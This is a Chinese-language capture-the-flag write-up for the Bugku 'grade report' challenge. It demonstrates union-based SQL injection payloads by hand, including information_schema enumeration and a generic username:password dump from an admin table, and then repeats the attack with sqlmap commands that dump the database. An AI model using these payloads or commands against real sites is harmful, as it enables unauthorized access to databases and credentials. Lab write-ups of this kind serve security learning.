bugkuctf成绩单
用hackbar插件的post对它进行测试,之前测试了出现人的成绩单,所以测试4,或者更高.
id=1' order by 5#
没有回显,所以试试4
id=1' order by 4#
所以可以知道有四列
尝试联合查询
记得把前面的查询数据置空,写成id=0即可,显示正常,说明确确实实存在这四列数据
id=0' union select 1,2,3,4 #
下面我们开始猜解数据库名, 数据库的用户,数据库的版本(没有顺序,把1留出来只是因为表单看起来顺眼而已....)
id=0' union select 1,database(),user(),version() #
看到这里有库名,后面是user,和版本信息,所以我们要从库中找到我们想要的信息
id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version() #
注意,这里穿插一个知识点!!!!!!
union select 手工注入
mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。
SCHEMATA 存储数据库名的,
关键字段:SCHEMA_NAME,表示数据库名称
TABLES 存储表名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
COLUMNS 存储字段名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名
爆所有数据名
select group_concat(SCHEMA_NAME) from information_schema.schemata
得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572
得到字段具体的值 select group_concat(username,0x3a,password) from adminuser
补充结束
根据表,得到字段名
id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),user(),version()#
根据字段,得到字段的内容
id=0' union select 1,(select skctf_flag from fl4g) ,user(),version()#
得到flag
转自大佬的博客
方法二
sqlmap进行扫描
首先用bu’rpsuit进行抓包,得到的内容进行扫描:
输入查询1
然后打开sqlmap开始爆库:sqlmap.py -r “C:\333.txt” -p id –current-db
-r –> 加载一个文件
-p –>指定参数
–current-db –>获取当前数据库名称(current前有两个-)
python sqlmap.py -r "D:\注入\4.txt" -p id --dbs
可以看到,爆出两个库,下面进行爆表
python sqlmap.py -r "D:\注入\4.txt" -p id -D skctf_flag --tables
-D –>指定数据库名称
–tables –>列出数据库中的表(tables前有两个-)
可以看到当前数据库中有两个表,很明显,flag应该在fl4g表中,下面就是该爆出表中的字段了
python sqlmap.py -r "D:\注入\4.txt" -p id -D skctf_flag -T fl4g --columns
-T –>指定表名称
–columns –>列出表中的字段
知道字段名称后,想办法获取字段内容
python sqlmap.py -r "D:\注入\4.txt" -p id -D skctf_flag -T fl4g -C skctf_flag --dump
–dump –>列出字段数据(dump前有两个-)
-C 为指定列名称
得到flag